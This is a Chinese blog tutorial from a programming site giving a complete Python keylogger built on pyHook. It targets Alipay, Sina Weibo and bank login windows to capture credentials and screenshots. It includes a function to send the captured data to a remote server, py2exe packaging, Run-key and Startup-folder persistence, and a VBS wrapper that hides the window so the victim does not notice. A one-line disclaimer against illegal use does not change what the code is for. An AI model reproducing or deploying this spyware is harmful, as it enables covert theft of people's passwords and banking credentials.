Python利用pyHook实现监听用户鼠标与键盘事件


Posted in Python onAugust 21, 2014

本文以一段简单的监听鼠标、键盘事件的程序,实现获取用户的输入(比如登录某些网站的账号、密码)的功能。经测试,对于一台“裸奔”的电脑,完全能获取到用户输入的任何信息;但是如果安装了杀毒软件,就够呛了。具体实现方法如下:

一、代码部分:获取用户输入信息,并与截图一起保存到XX目录下

# -*- coding: utf-8 -*- # 

import pythoncom 
import pyHook  
import time
import socket
from PIL import ImageGrab

#
#如果是远程监听某个目标电脑,可以自己架设一个服务器,然后将获取到的信息发回给服务器
#
def send_msg_to_server(msg):
  host=""
  port=1234
  buf_size=1024
  addr=(host,port)
  if len(msg)>0:
    tcp_client_sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    tcp_client_sock.connect(addr)
    info=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))+' from '+socket.gethostname()+':'
    tcp_client_sock.sendall(info+msg)
    tcp_client_sock.close()
    
#
#也可以将获取到的信息保存到本地文件下
#
def write_msg_to_txt(msg):  
  f=open('D:/workspace/mytest/pyhook/media/monitor.txt','a')
  f.write(msg+'\r\n')
  f.close()

def onMouseEvent(event): 
  # 监听鼠标事件   
  global MSG
  if len(MSG)!=0:    
    #send_msg_to_server(MSG)
    write_msg_to_txt(MSG)
    MSG=''
    pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
    #将用户屏幕截图,保存到本地某个目录下(也可以搞成远程发送到自己的服务器)
    pic = ImageGrab.grab()
    pic.save('D:/workspace/mytest/pyhook/media/mouse_%s.png' % pic_name)
  return True
 
def onKeyboardEvent(event):
  #监听键盘事件
  global MSG
  title= event.WindowName.decode('GBK')
  #通过网站title,判断当前网站是否是“监听目标”
  if title.find(u"支付宝") != -1 or title.find(u'新浪微博')!=-1 or title.find(u'浦发银行')!=-1:
    #Ascii: 8-Backspace , 9-Tab ,13-Enter 
    if (127 >= event.Ascii > 31) or (event.Ascii == 8):
      MSG += chr(event.Ascii)        
    if (event.Ascii == 9) or (event.Ascii == 13):      
      #send_msg_to_remote(MSG)
      write_msg_to_txt(MSG)
      MSG = '' 
      #屏幕抓图实现
      pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
      pic = ImageGrab.grab()
      #保存成为以日期命名的图片
      pic.save('D:/workspace/mytest/pyhook/media/keyboard_%s.png' % pic_name)
  return True 
 
if __name__ == "__main__":   
  MSG = ''  
  #创建hook句柄
  hm = pyHook.HookManager()

  #监控鼠标
  hm.SubscribeMouseLeftDown(onMouseEvent)
  hm.HookMouse()

  #监控键盘
  hm.KeyDown = onKeyboardEvent
  hm.HookKeyboard()

  #循环获取消息
  pythoncom.PumpMessages()

二、用py2exe将脚本打包:

新建一个py文件setup.py,内容如下:

from distutils.core import setup
import py2exe
setup(console=["monitor.py"])
#setup(windows=["monitor.py"])

命令行执行以下命令:

pythonsetup.pypy2exe

三、将该程序设置为开机自动启动:

步骤①:

将需要开机启动的文件(创建一个快捷方式,然后)放到“开始/所有程序/启动”目录下

步骤②:

修改注册表:命令行— regedit ,然后到以下路径下:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]  

新建一个“字符串值”,然后编辑:设置exe文件所在路径
D:\workspace\mytest\pyhook\dist\monitor.exe

(以上两种方式启动monitor.exe的话,会弹出一个命令框,显示监听日志信息,这样的话,被监听的人一下就能发现了,可以试试下面这个方式)

步骤③:

新建一个 .vbs文件,内容如下:

setwscriptObj=CreateObject("Wscript.Shell")
wscriptObj.run“D:\workspace\mytest\pyhook\dist\monitor.exe",0

双击运行该vbs文件,则monitor.exe就在后台启动了(不会弹出一个大黑框)。
然后参考法①、② 把该vbs设置成开机启动即可。

补充:

1、该程序涉及到一些模块都需要自己安装一下;
2、文章中凡是“D:\workspace....”这样的路径都需要改成自己的真实路径;
3、本代码仅为测试示例,读者不要将其用于非法用途。

感兴趣的读者可以对本文实例加以改进,使之功能更加完善。

Python 相关文章推荐
Python中使用Flask、MongoDB搭建简易图片服务器
Feb 04 Python
浅析Python中的赋值和深浅拷贝
Aug 15 Python
python+opencv识别图片中的圆形
Mar 25 Python
PyQt5每天必学之像素图控件QPixmap
Apr 19 Python
Python面向对象程序设计类变量与成员变量、类方法与成员方法用法分析
Apr 12 Python
python基于递归解决背包问题详解
Jul 03 Python
Flask框架请求钩子与request请求对象用法实例分析
Nov 07 Python
使用python的turtle函数绘制一个滑稽表情
Feb 28 Python
python网络编程之五子棋游戏
May 14 Python
python 解决Windows平台上路径有空格的问题
Nov 10 Python
python中最小二乘法详细讲解
Feb 19 Python
七个非常实用的Python工具包总结
Jun 15 Python
Python发送Email方法实例
Aug 21 #Python
Python生成验证码实例
Aug 21 #Python
python中去空格函数的用法
Aug 21 #Python
python实现的重启关机程序实例
Aug 21 #Python
实例讲解Python中的私有属性
Aug 21 #Python
Python创建日历实例
Aug 21 #Python
Python实现批量把SVG格式转成png、pdf格式的代码分享
Aug 21 #Python
You might like
COM in PHP (winows only)
2006/10/09 PHP
php图片上传存储源码并且可以预览
2011/08/26 PHP
php_imagick实现图片剪切、旋转、锐化、减色或增加特效的方法
2014/12/15 PHP
php实现用户注册密码的crypt加密
2017/06/08 PHP
JS对URL字符串进行编码/解码分析
2008/10/25 Javascript
javascript 鼠标悬浮图片显示原图 移出鼠标后原图消失(多图)
2009/12/28 Javascript
幻灯片带网页设计中的20个奇妙应用示例小结
2012/05/27 Javascript
Jquery easyUI 更新行示例
2014/03/06 Javascript
JavaScript验证18位身份证号码最后一位正确性的实现代码
2014/08/07 Javascript
js 操作符汇总
2014/11/08 Javascript
JS+CSS实现仿支付宝菜单选中效果代码
2015/09/25 Javascript
深入理解JS继承和原型链的问题
2016/12/17 Javascript
JavaScript下拉菜单功能实例代码
2017/03/01 Javascript
详解nodejs爬虫程序解决gbk等中文编码问题
2017/04/06 NodeJs
angularjs实现首页轮播图效果
2017/04/14 Javascript
Vue 过滤器filters及基本用法
2017/12/26 Javascript
安装vue-cli的简易过程
2018/05/22 Javascript
vue实现条件判断动态绑定样式的方法
2018/09/29 Javascript
vue控制多行文字展开收起的实现示例
2019/10/11 Javascript
通过实例了解Javascript柯里化流程
2020/03/03 Javascript
React生命周期原理与用法踩坑笔记
2020/04/28 Javascript
vue常用高阶函数及综合实例
2021/02/25 Vue.js
Python利用ansible分发处理任务
2015/08/04 Python
python时间日期函数与利用pandas进行时间序列处理详解
2018/03/13 Python
在tensorflow中设置使用某一块GPU、多GPU、CPU的操作
2020/02/07 Python
浅谈Python中的字符串
2020/06/10 Python
python怎么删除缓存文件
2020/07/19 Python
python动态规划算法实例详解
2020/11/22 Python
美国高端寝具品牌:Coyuchi
2017/02/08 全球购物
8和9的加减法教学反思
2014/05/01 职场文书
导师就业推荐信范文
2014/05/22 职场文书
财务工作检讨书
2014/10/29 职场文书
死亡赔偿协议书
2015/01/28 职场文书
悬空寺导游词
2015/02/05 职场文书
浅谈redis五大数据结构和使用场景
2021/04/12 Redis
Go语言切片前或中间插入项与内置copy()函数详解
2021/04/27 Golang